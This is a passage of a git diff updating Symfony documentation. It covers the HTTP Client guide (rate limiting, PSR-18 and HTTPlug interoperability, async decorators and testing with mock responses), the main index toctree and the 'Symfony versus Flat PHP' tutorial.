+1411,7 @@ method will yield a special chunk whose ``isTimeout()`` will return ``true``:: foreach ($client->stream($responses, 1.5) as $response => $chunk) { if ($chunk->isTimeout()) { - // $response staled for more than 1.5 seconds + // $response stale for more than 1.5 seconds } } @@ -1129,6 +1430,8 @@ response and get remaining contents that might come back in a new timeout, etc. Use the ``max_duration`` option to limit the time a full request/response can last. +.. _http-client_network-errors: + Dealing with Network Errors ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -1149,7 +1452,7 @@ that network errors can happen when calling e.g. ``getStatusCode()`` too:: // ... try { // both lines can potentially throw - $response = $client->request(...); + $response = $client->request(/* ... */); $headers = $response->getHeaders(); // ... } catch (TransportExceptionInterface $e) { @@ -1161,7 +1464,8 @@ that network errors can happen when calling e.g. ``getStatusCode()`` too:: Because ``$response->getInfo()`` is non-blocking, it shouldn't throw by design. When multiplexing responses, you can deal with errors for individual streams by -catching ``TransportExceptionInterface`` in the foreach loop:: +catching :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` +in the foreach loop:: foreach ($client->stream($responses) as $response => $chunk) { try { @@ -1203,14 +1507,119 @@ installed in your application:: // this won't hit the network if the resource is already in the cache $response = $client->request('GET', 'https://example.com/cacheable-resource'); -``CachingHttpClient`` accepts a third argument to set the options of the ``HttpCache``. +:class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument +to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`. -Consuming Server-Sent Events +Limit the Number of Requests ---------------------------- -.. versionadded:: 5.2 +This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` +decorator that allows to limit the number of requests within a certain period, +potentially delaying calls based on the rate limiting policy. + +The implementation leverages the +:class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood +so the :doc:`Rate Limiter component </rate_limiter>` needs to be +installed in your application:: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + http_client: + scoped_clients: + example.client: + base_uri: 'https://example.com' + rate_limiter: 'http_example_limiter' + + rate_limiter: + # Don't send more than 10 requests in 5 seconds + http_example_limiter: + policy: 'token_bucket' + limit: 10 + rate: { interval: '5 seconds', amount: 10 } + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:http-client> + <framework:scoped-client name="example.client" + base-uri="https://example.com" + rate-limiter="http_example_limiter" + /> + </framework:http-client> - The feature to consume server-sent events was introduced in Symfony 5.2. + <framework:rate-limiter> + <!-- Don't send more than 10 requests in 5 seconds --> + <framework:limiter name="http_example_limiter" + policy="token_bucket" + limit="10" + > + <framework:rate interval="5 seconds" amount="10"/> + </framework:limiter> + </framework:rate-limiter> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient()->scopedClient('example.client') + ->baseUri('https://example.com') + ->rateLimiter('http_example_limiter'); + // ... + ; + + $framework->rateLimiter() + // Don't send more than 10 requests in 5 seconds + ->limiter('http_example_limiter') + ->policy('token_bucket') + ->limit(10) + ->rate() + ->interval('5 seconds') + ->amount(10) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HttpClient\HttpClient; + use Symfony\Component\HttpClient\ThrottlingHttpClient; + use Symfony\Component\RateLimiter\RateLimiterFactory; + use Symfony\Component\RateLimiter\Storage\InMemoryStorage; + + $factory = new RateLimiterFactory([ + 'id' => 'http_example_limiter', + 'policy' => 'token_bucket', + 'limit' => 10, + 'rate' => ['interval' => '5 seconds', 'amount' => 10], + ], new InMemoryStorage()); + $limiter = $factory->create(); + + $client = HttpClient::createForBaseUri('https://example.com'); + $throttlingClient = new ThrottlingHttpClient($client, $limiter); + +.. versionadded:: 7.1 + + The :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` was + introduced in Symfony 7.1. + +Consuming Server-Sent Events +---------------------------- `Server-sent events`_ is an Internet standard used to push data to web pages. Its JavaScript API is built around an `EventSource`_ object, which listens to @@ -1231,6 +1640,7 @@ server-sent events. Use the :class:`Symfony\\Component\\HttpClient\\EventSourceH to wrap your HTTP client, open a connection to a server that responds with a ``text/event-stream`` content type and consume the stream as follows:: + use Symfony\Component\HttpClient\Chunk\ServerSentEvent; use Symfony\Component\HttpClient\EventSourceHttpClient; // the second optional argument is the reconnection time in seconds (default = 10) @@ -1256,6 +1666,12 @@ to wrap your HTTP client, open a connection to a server that responds with a } } +.. tip:: + + If you know that the content of the ``ServerSentEvent`` is in the JSON format, you can + use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData` + method to directly get the decoded JSON as array. + Interoperability ---------------- @@ -1263,7 +1679,7 @@ The component is interoperable with four different abstractions for HTTP clients: `Symfony Contracts`_, `PSR-18`_, `HTTPlug`_ v1/v2 and native PHP streams. If your application uses libraries that need any of them, the component is compatible with all of them. They also benefit from :ref:`autowiring aliases <service-autowiring-alias>` -when the :ref:`framework bundle <framework-bundle-configuration>` is used. +when the :doc:`framework bundle </reference/configuration/framework>` is used. If you are writing or maintaining a library that makes HTTP requests, you can decouple it from any specific HTTP client implementations by coding against @@ -1281,11 +1697,9 @@ interface you need to code against when a client is needed:: class MyApiLayer { - private $client; - - public function __construct(HttpClientInterface $client) - { - $this->client = $client; + public function __construct( + private HttpClientInterface $client, + ) { } // [...] @@ -1304,9 +1718,9 @@ PSR-18 and PSR-17 This component implements the `PSR-18`_ (HTTP Client) specifications via the :class:`Symfony\\Component\\HttpClient\\Psr18Client` class, which is an adapter -to turn a Symfony ``HttpClientInterface`` into a PSR-18 ``ClientInterface``. -This class also implements the relevant methods of `PSR-17`_ to ease creating -request objects. +to turn a Symfony :class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface` +into a PSR-18 ``ClientInterface``. This class also implements the relevant +methods of `PSR-17`_ to ease creating request objects. To use it, you need the ``psr/http-client`` package and a `PSR-17`_ implementation: @@ -1333,11 +1747,9 @@ Now you can make HTTP requests with the PSR-18 client as follows: class Symfony { - private $client; - - public function __construct(ClientInterface $client) - { - $this->client = $client; + public function __construct( + private ClientInterface $client, + ) { } public function getAvailableVersions(): array @@ -1360,6 +1772,23 @@ Now you can make HTTP requests with the PSR-18 client as follows: $content = json_decode($response->getBody()->getContents(), true); +You can also pass a set of default options to your client thanks to the +``Psr18Client::withOptions()`` method:: + + use Symfony\Component\HttpClient\Psr18Client; + + $client = (new Psr18Client()) + ->withOptions([ + 'base_uri' => 'https://symfony.com', + 'headers' => [ + 'Accept' => 'application/json', + ], + ]); + + $request = $client->createRequest('GET', '/versions.json'); + + // ... + HTTPlug ~~~~~~~ @@ -1367,9 +1796,9 @@ The `HTTPlug`_ v1 specification was published before PSR-18 and is superseded by it. As such, you should not use it in newly written code. The component is still interoperable with libraries that require it thanks to the :class:`Symfony\\Component\\HttpClient\\HttplugClient` class. Similarly to -``Psr18Client`` implementing relevant parts of PSR-17, ``HttplugClient`` also -implements the factory methods defined in the related ``php-http/message-factory`` -package. +:class:`Symfony\\Component\\HttpClient\\Psr18Client` implementing relevant parts of PSR-17, +:class:`Symfony\\Component\\HttpClient\\HttplugClient` also implements the factory methods +defined in the related ``php-http/message-factory`` package. .. code-block:: terminal @@ -1387,28 +1816,27 @@ Let's say you want to instantiate a class with the following constructor, that requires HTTPlug dependencies:: use Http\Client\HttpClient; - use Http\Message\RequestFactory; use Http\Message\StreamFactory; class SomeSdk { public function __construct( HttpClient $httpClient, - RequestFactory $requestFactory, StreamFactory $streamFactory ) // [...] } -Because ``HttplugClient`` implements the three interfaces, you can use it this way:: +Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements these +interfaces,you can use it this way:: use Symfony\Component\HttpClient\HttplugClient; $httpClient = new HttplugClient(); - $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient); + $apiClient = new SomeSdk($httpClient, $httpClient); -If you'd like to work with promises, ``HttplugClient`` also implements the -``HttpAsyncClient`` interface. To use it, you need to install the +If you'd like to work with promises, :class:`Symfony\\Component\\HttpClient\\HttplugClient` +also implements the ``HttpAsyncClient`` interface. To use it, you need to install the ``guzzlehttp/promises`` package: .. code-block:: terminal @@ -1422,14 +1850,14 @@ Then you're ready to go:: $httpClient = new HttplugClient(); $request = $httpClient->createRequest('GET', 'https://my.api.com/'); - $promise = $httpClient->sendRequest($request) + $promise = $httpClient->sendAsyncRequest($request) ->then( - function (ResponseInterface $response) { + function (ResponseInterface $response): ResponseInterface { echo 'Got status '.$response->getStatusCode(); return $response; }, - function (\Throwable $exception) { + function (\Throwable $exception): never { echo 'Error: '.$exception->getMessage(); throw $exception; @@ -1448,6 +1876,20 @@ Then you're ready to go:: // wait for all remaining promises to resolve $httpClient->wait(); +You can also pass a set of default options to your client thanks to the +``HttplugClient::withOptions()`` method:: + + use Psr\Http\Message\ResponseInterface; + use Symfony\Component\HttpClient\HttplugClient; + + $httpClient = (new HttplugClient()) + ->withOptions([ + 'base_uri' => 'https://my.api.com', + ]); + $request = $httpClient->createRequest('GET', '/'); + + // ... + Native PHP Streams ~~~~~~~~~~~~~~~~~~ @@ -1473,15 +1915,134 @@ This allows using them where native PHP streams are needed:: // later on if you need to, you can access the response from the stream $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse(); -Testing HTTP Clients and Responses ----------------------------------- +Extensibility +------------- + +If you want to extend the behavior of a base HTTP client, you can use +:doc:`service decoration </service_container/service_decoration>`:: + + class MyExtendedHttpClient implements HttpClientInterface + { + public function __construct( + private ?HttpClientInterface $decoratedClient = null + ) { + $this->decoratedClient ??= HttpClient::create(); + } + + public function request(string $method, string $url, array $options = []): ResponseInterface + { + // process and/or change the $method, $url and/or $options as needed + $response = $this->decoratedClient->request($method, $url, $options); + + // if you call here any method on $response, the HTTP request + // won't be async; see below for a better way + + return $response; + } + + public function stream($responses, ?float $timeout = null): ResponseStreamInterface + { + return $this->decoratedClient->stream($responses, $timeout); + } + } + +A decorator like this one is useful in cases where processing the requests' +arguments is enough. By decorating the ``on_progress`` option, you can +even implement basic monitoring of the response. However, since calling +responses' methods forces synchronous operations, doing so inside ``request()`` +will break async. + +The solution is to also decorate the response object itself. +:class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and +:class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good +examples as a starting point. + +In order to help writing more advanced response processors, the component provides +an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows +processing the stream of chunks as they come back from the network:: + + class MyExtendedHttpClient implements HttpClientInterface + { + use AsyncDecoratorTrait; + + public function request(string $method, string $url, array $options = []): ResponseInterface + { + // process and/or change the $method, $url and/or $options as needed -This component includes the ``MockHttpClient`` and ``MockResponse`` classes to -use them in tests that need an HTTP client which doesn't make actual HTTP -requests. + $passthru = function (ChunkInterface $chunk, AsyncContext $context): \Generator { + // do what you want with chunks, e.g. split them + // in smaller chunks, group them, skip some, etc. -The first way of using ``MockHttpClient`` is to pass a list of responses to its -constructor. These will be yielded in order when requests are made:: + yield $chunk; + }; + + return new AsyncResponse($this->client, $method, $url, $options, $passthru); + } + } + +Because the trait already implements a constructor and the ``stream()`` method, +you don't need to add them. The ``request()`` method should still be defined; +it shall return an +:class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`. + +The custom processing of chunks should happen in ``$passthru``: this generator +is where you need to write your logic. It will be called for each chunk yielded +by the underlying client. A ``$passthru`` that does nothing would just ``yield +$chunk;``. You could also yield a modified chunk, split the chunk into many +ones by yielding several times, or even skip a chunk altogether by issuing a +``return;`` instead of yielding. + +In order to control the stream, the chunk passthru receives an +:class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second +argument. This context object has methods to read the current state of the +response. It also allows altering the response stream with methods to create +new chunks of content, pause the stream, cancel the stream, change the info of +the response, replace the current request by another one or change the chunk +passthru itself. + +Checking the test cases implemented in +:class:`Symfony\\Component\\HttpClient\\Tests\\AsyncDecoratorTraitTest` +might be a good start to get various working examples for a better understanding. +Here are the use cases that it simulates: + +* retry a failed request; +* send a preflight request, e.g. for authentication needs; +* issue subrequests and include their content in the main response's body. + +The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse` +has many safety checks that will throw a ``LogicException`` if the chunk +passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()`` +one, or if a content chunk is yielded before an ``isFirst()`` one, etc. + +Testing +------- + +This component includes the :class:`Symfony\\Component\\HttpClient\\MockHttpClient` +and :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` classes to use +in tests that shouldn't make actual HTTP requests. Such tests can be useful, as they +will run faster and produce consistent results, since they're not dependent on an +external service. By not making actual HTTP requests there is no need to worry about +the service being online or the request changing state, for example deleting +a resource. + +:class:`Symfony\\Component\\HttpClient\\MockHttpClient` implements the +:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`, just like any actual +HTTP client in this component. When you type-hint with +:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface` your code will accept +the real client outside tests, while replacing it with +:class:`Symfony\\Component\\HttpClient\\MockHttpClient` in the test. + +When the ``request`` method is used on :class:`Symfony\\Component\\HttpClient\\MockHttpClient`, +it will respond with the supplied +:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`. There are a few ways to use +it, as described below. + +HTTP Client and Responses +~~~~~~~~~~~~~~~~~~~~~~~~~ + +The first way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient` +is to pass a list of responses to its constructor. These will be yielded +in order when requests are made:: use Symfony\Component\HttpClient\MockHttpClient; use Symfony\Component\HttpClient\Response\MockResponse; @@ -1496,26 +2057,92 @@ constructor. These will be yielded in order when requests are made:: $response1 = $client->request('...'); // returns $responses[0] $response2 = $client->request('...'); // returns $responses[1] -Another way of using ``MockHttpClient`` is to pass a callback that generates the -responses dynamically when it's called:: +It is also possible to create a +:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` directly +from a file, which is particularly useful when storing your response +snapshots in files:: + + use Symfony\Component\HttpClient\Response\MockResponse; + + $response = MockResponse::fromFile('tests/fixtures/response.xml'); + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\HttpClient\\Response\\MockResponse::fromFile` + method was introduced in Symfony 7.1. + +Another way of using :class:`Symfony\\Component\\HttpClient\\MockHttpClient` is to +pass a callback that generates the responses dynamically when it's called:: use Symfony\Component\HttpClient\MockHttpClient; use Symfony\Component\HttpClient\Response\MockResponse; - $callback = function ($method, $url, $options) { + $callback = function ($method, $url, $options): MockResponse { return new MockResponse('...'); }; $client = new MockHttpClient($callback); $response = $client->request('...'); // calls $callback to get the response +You can also pass a list of callbacks if you need to perform specific +assertions on the request before returning the mocked response:: + + $expectedRequests = [ + function ($method, $url, $options): MockResponse { + $this->assertSame('GET', $method); + $this->assertSame('https://example.com/api/v1/customer', $url); + + return new MockResponse('...'); + }, + function ($method, $url, $options): MockResponse { + $this->assertSame('POST', $method); + $this->assertSame('https://example.com/api/v1/customer/1/products', $url); + + return new MockResponse('...'); + }, + ]; + + $client = new MockHttpClient($expectedRequests); + + // ... + +.. tip:: + + Instead of using the first argument, you can also set the (list of) + responses or callbacks using the + :method:`Symfony\\Component\\HttpClient\\MockHttpClient::setResponseFactory` + method:: + + $responses = [ + new MockResponse($body1, $info1), + new MockResponse($body2, $info2), + ]; + + $client = new MockHttpClient(); + $client->setResponseFactory($responses); + +If you need to test responses with HTTP status codes different than 200, +define the ``http_code`` option:: + + use Symfony\Component\HttpClient\MockHttpClient; + use Symfony\Component\HttpClient\Response\MockResponse; + + $client = new MockHttpClient([ + new MockResponse('...', ['http_code' => 500]), + new MockResponse('...', ['http_code' => 404]), + ]); + + $response = $client->request('...'); + The responses provided to the mock client don't have to be instances of -``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g. -``$this->createMock(ResponseInterface::class)``). +:class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`. Any class +implementing :class:`Symfony\\Contracts\\HttpClient\\ResponseInterface` +will work (e.g. ``$this->createMock(ResponseInterface::class)``). -However, using ``MockResponse`` allows simulating chunked responses and timeouts:: +However, using :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` +allows simulating chunked responses and timeouts:: - $body = function () { + $body = function (): \Generator { yield 'hello'; // empty strings are turned into timeouts so that they are easy to test yield ''; @@ -1524,10 +2151,6 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts $mockResponse = new MockResponse($body()); -.. versionadded:: 5.2 - - The feature explained below was introduced in Symfony 5.2. - Finally, you can also create an invokable or iterable class that generates the responses and use it as a callback in functional tests:: @@ -1594,13 +2217,271 @@ Then configure Symfony to use your callback: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'mock_response_factory' => MockClientCallback::class, - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient() + ->mockResponseFactory(MockClientCallback::class) + ; + }; + +To return json, you would normally do:: + + use Symfony\Component\HttpClient\Response\MockResponse; + + $response = new MockResponse(json_encode([ + 'foo' => 'bar', + ]), [ + 'response_headers' => [ + 'content-type' => 'application/json', + ], + ]); + +You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse` instead:: + + use Symfony\Component\HttpClient\Response\JsonMockResponse; + + $response = new JsonMockResponse([ + 'foo' => 'bar', + ]); + +Just like :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse`, you can +also create a :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse` +directly from a file:: + + use Symfony\Component\HttpClient\Response\JsonMockResponse; + + $response = JsonMockResponse::fromFile('tests/fixtures/response.json'); + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse::fromFile` + method was introduced in Symfony 7.1. + +Testing Request Data +~~~~~~~~~~~~~~~~~~~~ + +The :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` class comes +with some helper methods to test the request: + +* ``getRequestMethod()`` - returns the HTTP method; +* ``getRequestUrl()`` - returns the URL the request would be sent to; +* ``getRequestOptions()`` - returns an array containing other information about + the request such as headers, query parameters, body content etc. + +Usage example:: + + $mockResponse = new MockResponse('', ['http_code' => 204]); + $httpClient = new MockHttpClient($mockResponse, 'https://example.com'); + + $response = $httpClient->request('DELETE', 'api/article/1337', [ + 'headers' => [ + 'Accept: */*', + 'Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l', + ], + ]); + + $mockResponse->getRequestMethod(); + // returns "DELETE" + + $mockResponse->getRequestUrl(); + // returns "https://example.com/api/article/1337" + + $mockResponse->getRequestOptions()['headers']; + // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"] + +Full Example +~~~~~~~~~~~~ + +The following standalone example demonstrates a way to use the HTTP client and +test it in a real application:: + + // ExternalArticleService.php + use Symfony\Contracts\HttpClient\HttpClientInterface; + + final class ExternalArticleService + { + public function __construct( + private HttpClientInterface $httpClient, + ) { + } + + public function createArticle(array $requestData): array + { + $requestJson = json_encode($requestData, JSON_THROW_ON_ERROR); + + $response = $this->httpClient->request('POST', 'api/article', [ + 'headers' => [ + 'Content-Type: application/json', + 'Accept: application/json', + ], + 'body' => $requestJson, + ]); + + if (201 !== $response->getStatusCode()) { + throw new Exception('Response status code is different than expected.'); + } + + // ... other checks + + $responseJson = $response->getContent(); + $responseData = json_decode($responseJson, true, 512, JSON_THROW_ON_ERROR); + + return $responseData; + } + } + + // ExternalArticleServiceTest.php + use PHPUnit\Framework\TestCase; + use Symfony\Component\HttpClient\MockHttpClient; + use Symfony\Component\HttpClient\Response\MockResponse; + + final class ExternalArticleServiceTest extends TestCase + { + public function testSubmitData(): void + { + // Arrange + $requestData = ['title' => 'Testing with Symfony HTTP Client']; + $expectedRequestData = json_encode($requestData, JSON_THROW_ON_ERROR); + + $expectedResponseData = ['id' => 12345]; + $mockResponseJson = json_encode($expectedResponseData, JSON_THROW_ON_ERROR); + $mockResponse = new MockResponse($mockResponseJson, [ + 'http_code' => 201, + 'response_headers' => ['Content-Type: application/json'], + ]); + + $httpClient = new MockHttpClient($mockResponse, 'https://example.com'); + $service = new ExternalArticleService($httpClient); + + // Act + $responseData = $service->createArticle($requestData); + + // Assert + $this->assertSame('POST', $mockResponse->getRequestMethod()); + $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl()); + $this->assertContains( + 'Content-Type: application/json', + $mockResponse->getRequestOptions()['headers'] + ); + $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']); + + $this->assertSame($expectedResponseData, $responseData); + } + } + +Testing Using HAR Files +~~~~~~~~~~~~~~~~~~~~~~~ + +Modern browsers (via their network tab) and HTTP clients allow to export the +information of one or more HTTP requests using the `HAR`_ (HTTP Archive) format. +You can use those ``.har`` files to perform tests with Symfony's HTTP Client. + +First, use a browser or HTTP client to perform the HTTP request(s) you want to +test. Then, save that information as a ``.har`` file somewhere in your application:: + + // ExternalArticleServiceTest.php + use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase; + use Symfony\Component\HttpClient\MockHttpClient; + use Symfony\Component\HttpClient\Response\MockResponse; + + final class ExternalArticleServiceTest extends KernelTestCase + { + public function testSubmitData(): void + { + // Arrange + $fixtureDir = sprintf('%s/tests/fixtures/HTTP', static::getContainer()->getParameter('kernel.project_dir')); + $factory = new HarFileResponseFactory("$fixtureDir/example.com_archive.har"); + $httpClient = new MockHttpClient($factory, 'https://example.com'); + $service = new ExternalArticleService($httpClient); + + // Act + $responseData = $service->createArticle($requestData); + + // Assert + $this->assertSame('the expected response', $responseData); + } + } + +If your service performs multiple requests or if your ``.har`` file contains multiple +request/response pairs, the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` +will find the associated response based on the request method, URL and body (if any). +Note that **this won't work** if the request body or URI is random / always +changing (e.g. if it contains current date or random UUIDs). + +Testing Network Transport Exceptions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +As explained in the :ref:`Network Errors section <http-client_network-errors>`, +when making HTTP requests you might face errors at transport level. + +That's why it's useful to test how your application behaves in case of a transport +error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows +you to do so in multiple ways. + +In order to test errors that occur before headers have been received, +set the ``error`` option value when creating the ``MockResponse``. +Transport errors of this kind occur, for example, when a host name +cannot be resolved or the host was unreachable. The +``TransportException`` will be thrown as soon as a method like +``getStatusCode()`` or ``getHeaders()`` is called. + +In order to test errors that occur while a response is being streamed +(that is, after the headers have already been received), provide the +exception to ``MockResponse`` as part of the ``body`` +parameter. You can either use an exception directly, or yield the +exception from a callback. For exceptions of this kind, +``getStatusCode()`` may indicate a success (200), but accessing +``getContent()`` fails. + +The following example code illustrates all three options. + +body:: + + // ExternalArticleServiceTest.php + use PHPUnit\Framework\TestCase; + use Symfony\Component\HttpClient\MockHttpClient; + use Symfony\Component\HttpClient\Response\MockResponse; + + final class ExternalArticleServiceTest extends TestCase + { + // ... + + public function testTransportLevelError(): void + { + $requestData = ['title' => 'Testing with Symfony HTTP Client']; + $httpClient = new MockHttpClient([ + // Mock a transport level error at a time before + // headers have been received (e. g. host unreachable) + new MockResponse(info: ['error' => 'host unreachable']), + + // Mock a response with headers indicating + // success, but a failure while retrieving the body by + // creating the exception directly in the body... + new MockResponse([new \RuntimeException('Error at transport level')]), + + // ... or by yielding it from a callback. + new MockResponse((static function (): \Generator { + yield new TransportException('Error at transport level'); + })()), + ]); + + $service = new ExternalArticleService($httpClient); + + try { + $service->createArticle($requestData); + + // An exception should have been thrown in `createArticle()`, so this line should never be reached + $this->fail(); + } catch (TransportException $e) { + $this->assertEquals(new \RuntimeException('Error at transport level'), $e->getPrevious()); + $this->assertSame('Error at transport level', $e->getMessage()); + } + } + } .. _`cURL PHP extension`: https://www.php.net/curl +.. _`Zlib PHP extension`: https://www.php.net/zlib .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/ .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/ .. _`HTTPlug`: https://github.com/php-http/httplug/#readme @@ -1609,4 +2490,9 @@ Then configure Symfony to use your callback: .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html -.. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource +.. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource +.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods +.. _`SSRF`: https://portswigger.net/web-security/ssrf +.. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570 +.. _`HAR`: https://w3c.github.io/web-performance/specs/HAR/Overview.html +.. _`the Cookie HTTP request header`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie diff --git a/index.rst b/index.rst index a4f512151f5..c566e5f8671 100644 --- a/index.rst +++ b/index.rst @@ -8,11 +8,6 @@ Quick Tour Get started fast with the Symfony :doc:`Quick Tour <quick_tour/index>`: -.. toctree:: - :hidden: - - quick_tour/index - * :doc:`quick_tour/the_big_picture` * :doc:`quick_tour/flex_recipes` * :doc:`quick_tour/the_architecture` @@ -37,10 +32,10 @@ Topics console doctrine deployment - email event_dispatcher forms frontend + html_sanitizer http_cache http_client lock @@ -63,28 +58,19 @@ Topics translation validation web_link + webhook workflow Components ---------- -.. toctree:: - :hidden: - - components/index - -Read the :doc:`Components </components/index>` documentation. +Read the :doc:`Components </components/>` documentation. Reference Documents ------------------- Get answers quickly with reference documents: -.. toctree:: - :hidden: - - reference/index - .. include:: /reference/map.rst.inc Contributing @@ -92,11 +78,6 @@ Contributing Contribute to Symfony: -.. toctree:: - :hidden: - - contributing/index - .. include:: /contributing/map.rst.inc Create your Own Framework @@ -105,8 +86,6 @@ Create your Own Framework Want to create your own framework based on Symfony? .. toctree:: - :hidden: - - create_framework/index + :maxdepth: 2 -.. include:: /create_framework/map.rst.inc + create_framework/index diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst index 40a421f85dd..3ae6a16d8a3 100644 --- a/introduction/from_flat_php_to_symfony.rst +++ b/introduction/from_flat_php_to_symfony.rst @@ -1,6 +1,3 @@ -.. index:: - single: Symfony versus Flat PHP - .. _symfony2-versus-flat-php: Symfony versus Flat PHP @@ -243,7 +240,7 @@ the ``templates/layout.php``: You now have a setup that will allow you to reuse the layout. Unfortunately, to accomplish this, you're forced to use a few ugly PHP functions (``ob_start()``, ``ob_get_clean()``) in the template. Symfony -solves this using a `Templating`_ component. You'll see it in action shortly. +solves this using `Twig`_. You'll see it in action shortly. Adding a Blog "show" Page ------------------------- @@ -402,7 +399,7 @@ have *many* controller functions: one for each page. By now, the application has evolved from a single PHP file into a structure that is organized and allows for code reuse. You should be happier, but far -from satisfied. For example, the routing system is fickle, and wouldn't +from being satisfied. For example, the routing system is fickle, and wouldn't recognize that the list page - ``/index.php`` - should be accessible also via ``/`` (if Apache rewrite rules were added). Also, instead of developing the blog, a lot of time is being spent working on the "architecture" of the code (e.g. @@ -528,7 +525,7 @@ The Sample Application in Symfony The blog has come a *long* way, but it still contains a lot of code for such a basic application. Along the way, you've made a basic routing system and -a method using ``ob_start()`` and ``ob_get_clean()`` to render templates. +a function using ``ob_start()`` and ``ob_get_clean()`` to render templates. If, for some reason, you needed to continue building this "framework" from scratch, you could at least use Symfony's standalone :doc:`Routing </routing>` component and :doc:`Twig </templates>`, which already solve these problems. @@ -540,24 +537,21 @@ them for you. Here's the same sample application, now built in Symfony:: namespace App\Controller; use App\Entity\Post; + use Doctrine\Persistence\ManagerRegistry; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; class BlogController extends AbstractController { - public function list() + public function list(ManagerRegistry $doctrine) { - $posts = $this->getDoctrine() - ->getRepository(Post::class) - ->findAll(); + $posts = $doctrine->getRepository(Post::class)->findAll(); return $this->render('blog/list.html.twig', ['posts' => $posts]); } - public function show($id) + public function show(ManagerRegistry $doctrine, $id) { - $post = $this->getDoctrine() - ->getRepository(Post::class) - ->find($id); + $post = $doctrine->getRepository(Post::class)->find($id); if (!$post) { // cause the 404 page not found to be displayed @@ -574,13 +568,12 @@ nice way to group related pages. The controller functions are also sometimes cal The two controllers (or actions) are still lightweight. Each uses the :doc:`Doctrine ORM library </doctrine>` to retrieve objects from the -database and the Templating component to render a template and return a -``Response`` object. The ``list.html.twig`` template is now quite a bit simpler, -and uses Twig: +database and Twig to render a template and return a ``Response`` object. +The ``list.html.twig`` template is now quite a bit simpler, and uses Twig: .. code-block:: html+twig - <!-- templates/blog/list.html.twig --> + {# templates/blog/list.html.twig #} {% extends 'base.html.twig' %} {% block title %}List of Posts{% endblock %} @@ -609,10 +602,10 @@ The ``layout.php`` file is nearly identical: <meta charset="UTF-8"> <title>{% block title %}Welcome!{% endblock %}</title> {% block stylesheets %}{% endblock %} + {% block javascripts %}{% endblock %} </head> <body> {% block body %}{% endblock %} - {% block javascripts %}{% endblock %} </body> </html> @@ -663,7 +656,9 @@ It's a beautiful thing. .. raw:: html - <object data="../_images/http/request-flow.svg" type="image/svg+xml"></object> + <object data="../_images/http/request-flow.svg" type="image/svg+xml" + alt="A flow diagram visualizing the previously described process from front controller to response." + 